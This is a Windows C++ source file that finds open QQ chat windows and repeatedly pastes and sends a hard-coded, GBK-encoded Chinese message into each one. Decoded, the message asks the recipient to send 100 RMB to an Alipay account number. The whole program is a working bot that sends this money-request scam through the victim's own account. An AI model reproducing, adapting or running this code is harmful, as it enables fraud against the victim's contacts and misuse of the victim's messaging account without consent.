// HappyDay.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"

HWND g_h[MAX_PATH] = {0};
int j = 0;

int GetPIDByName(const LPTSTR pBuf, PINT nPID)
{
	int i = 0;
	_tprintf(_T("  ->GetPIDByName\n"));

	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hSnapshot == INVALID_HANDLE_VALUE)
	{
		_tprintf(_T("    ->CreateToolhelp32Snapshot : 0x%08x\n"), GetLastError());
		return 0;
	}
	PROCESSENTRY32 pe32;
	pe32.dwSize = sizeof(PROCESSENTRY32);
	if (!(Process32First(hSnapshot, &pe32)))
	{
		_tprintf(_T("    ->Process32First : 0x%08x\n"), GetLastError());
		CloseHandle(hSnapshot);
		return 0;
	}
	do
	{
		if (!_tcsicmp(pe32.szExeFile, pBuf))
		{
			_tprintf(_T("    ->QQ's PID : %d\n"), pe32.th32ProcessID);
			nPID[i++] = pe32.th32ProcessID;
		}
	} while (Process32Next(hSnapshot, &pe32));
	return CloseHandle(hSnapshot);;
}

BOOL IsChatWindow(HWND h)
{
	if (GetWindowLong(h, GWL_STYLE) == 0x960F0000 || GetWindowLong(h, GWL_STYLE) == 0x970F0000)
	{
		return TRUE;
	}
	return FALSE;
}

//Method 2
BOOL CALLBACK EnumWindowsProc(HWND h, LPARAM nPID)
{
	DWORD dwPID;
	GetWindowThreadProcessId(h, &dwPID);
	if (dwPID == nPID)
	{
		if (IsChatWindow(h))
		{
			g_h[j++] = h;
			_tprintf(_T("    ->HWND : %08x\n"), h);
		}
	}
	return TRUE;
}

HWND QueryWindow(DWORD nPID)
{
	DWORD dwPID;
	HWND h;
	while(1)
	{
		h = GetForegroundWindow();
		GetWindowThreadProcessId(h, &dwPID);
		if (dwPID == nPID)
		{
			if (IsChatWindow(h))
			{
				//Your code.
			}
		}
	}
	return h;
}


int hexlen(PBYTE pBuf)
{
	int i;
	for (i = 0; pBuf[i]!=0; i++)
	{
		if (*((DWORD*)(pBuf+i)) == 0xcccccccc)
		{
			break;
		}
	}
	return ++i;
}

void hexcpy(PBYTE des, PBYTE src, int len)
{
	for (int i = 0; i < len; i++)
	{
		des[i] = src[i];
	}
	return;
}

int create(PBYTE pBuf)
{
	int nLen = hexlen(pBuf);
	if (!OpenClipboard(NULL))
	{
		_tprintf(_T("  ->OpenClipboard : 0x%08x\n"), GetLastError());
		return 0;
	}
	if (!EmptyClipboard())
	{
		_tprintf(_T("  ->EmptyClipboard : 0x%08x\n"), GetLastError());
		return 0;
	}
	HGLOBAL h = GlobalAlloc(GMEM_DDESHARE, nLen);
	if (!h)
	{
		_tprintf(_T("  ->GlobalAlloc : 0x%08x\n"), GetLastError());
		return 0;
	}
	PBYTE pBuffer = PBYTE(GlobalLock(h));
	if (!pBuffer)
	{
		_tprintf(_T("  ->GlobalLock : 0x%08x\n"), GetLastError());
		return 0;
	}
	hexcpy(pBuffer, pBuf, nLen);
	if (!GlobalUnlock(h))
	{
		_tprintf(_T("  ->GlobalUnlock : 0x%08x\n"), GetLastError());
		return 0;
	}
	if (!SetClipboardData(CF_TEXT, h))
	{
		_tprintf(_T("  ->SetClipboardData : 0x%08x\n"), GetLastError());
		return 0;
	}
	return CloseClipboard();
}

void CopynPaste(int p, int time)
{
	_tprintf(_T("  ->Clip\n"));
	
	for (int i = 0; i < time; i++)
	{
		SetForegroundWindow(g_h[p]);
		PostMessage(g_h[p], WM_PASTE, 0, 0);
		keybd_event(VK_MENU, 0, 0, 0);   
		keybd_event('S', 0, 0, 0);
		Sleep(100);
		keybd_event(VK_MENU, 0, KEYEVENTF_KEYUP, 0);   
		keybd_event('S', 0, KEYEVENTF_KEYUP, 0);
	}
	return;
}

int _tmain(int argc, _TCHAR* argv[])
{
	BYTE b[] = {
		0xC4, 0xFA, 0xBA, 0xC3, 0xA3, 0xAC, 0xCE, 0xD2,
		0xCF, 0xD6, 0xD4, 0xDA, 0xD0, 0xE8, 0xD2, 0xAA,
		0x31, 0x30, 0x30, 0x45, 0x4D, 0x42, 0xA3, 0xAC,
		0xC7, 0xEB, 0xB4, 0xF2, 0xB5, 0xBD, 0xCE, 0xD2,
		0xB5, 0xC4, 0xD6, 0xA7, 0xB8, 0xB6, 0xB1, 0xA6,
		0xBB, 0xA7, 0xBF, 0xDA, 0xA3, 0xAC, 0xD5, 0xCA,
		0xBA, 0xC5, 0xA3, 0xBA, 0x34, 0x32, 0x34, 0x30,
		0x30, 0x36, 0x33, 0x37, 0x37, 0x00};
	
	int nPID[MAX_PATH] = {0};
	_tprintf(_T("GetPIDByName : %d\n"), GetPIDByName(_T("QQ.exe"), nPID));
	for (int i = 0; nPID[i] != 0; i++)
	{
		_tprintf(_T("EnumWindows : %d\n"), EnumWindows(&EnumWindowsProc, nPID[i]));
	}
	if (!create(b))
	{
		_tprintf(_T("  ->CloseClipboard : 0x%08x\n"), GetLastError());
		return 0;
	}
	for (int i = 0; g_h[i] != 0; i++)
	{
		CopynPaste(i, 5);
	}
	return 0;
}

